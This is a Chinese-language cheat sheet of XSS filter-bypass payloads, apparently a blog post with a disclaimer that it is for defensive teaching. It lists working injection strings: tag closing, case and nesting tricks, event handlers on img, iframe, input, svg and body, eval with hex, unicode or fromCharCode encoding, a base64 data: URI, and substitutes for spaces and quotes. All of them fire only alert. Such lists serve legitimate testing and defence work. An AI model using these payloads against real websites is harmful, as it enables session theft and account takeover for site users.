作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途



XSS bypass


XSS bypass姿势

尝试构造xss,突破各种限制

闭合标签

"><script>alert(1);</script> 
//闭合大部分标签 */-->'");></iframe></script></style></title></textarea><a>a</a> #*/-->'");></iframe></script></style></title></textarea><iframe > 
//宽字符闭合 */-->%cf"%d5'></iframe></script></style></title></textarea> 
//回车换行 %0D%0A 

标签绕过

fuzz各种标签,检查是否存在拦截或者过滤

大小写绕过

<ScRipt>ALeRt("XSS");</sCRipT> 

嵌套绕过

<sc<script>ript>alert(/xss/);</script> <scscriptript>alert(/xss/);</script> 

空字符绕过

<ScR%09ipt>ALeRt(/XSS/);</sCRipT> 

img标签

<img src="" onerror="alert(/xss/)"> <img/src/onerror=alert(/xss/)> <img/src='123'onerror=[/xss/].find(alert)> 

iframe标签

<iframe>是框架标签,可以尝试替代<script>突破限制

<iframe onload=alert(/xss/)> <iframe src=javascript:alert(/xss/)> 

input标签

主要是在各种输入框内使用

<input value="" onclick="alert(/xss/)"> <input value="" oninput="alert(/xss/)"> 

a标签

链接标签,点击即可触发

<a href="javascript:alert(/xss/)">link</a> 

svg标签

SVG支持动画特效,也就是利用一些标签控制其他标签的属性,进而形成动画特效。

<svg/onload=alert(/xss/)> 

body

body主体标签触发,不咋常用

<BODY onload=alert(/xss/)> 

编码绕过

当alert被过滤时

可以尝试eval触发,并把alert语句编码

JS16编码

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> 

ASCII与UTF-16、Unicode、Hex相互转换

//ASCII转UTF-16 <img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")> 
//ASCII转Unicode <img src="1" onerror=eval("&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;")> 
//ASCII转Hex <img src="1" onerror=eval("&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2F;&#x78;&#x73;&#x73;&#x2F;&#x29;")> 

String.fromCharCode

该函数用于从一些Unicode字符值中返回一个字符串,返回值属于String对象

<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))> 

data协议

一种伪协议,和javascript协议一样

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object> 

字符过滤绕过

空格

<img/src=""onerror="alert(/xss/)"> <img/**/src=""onerror="alert(/xss/)"> <img/*a*/src=""onerror="alert(/xss/)"> 

单引号

<img/src=""onerror="alert(`xss`)">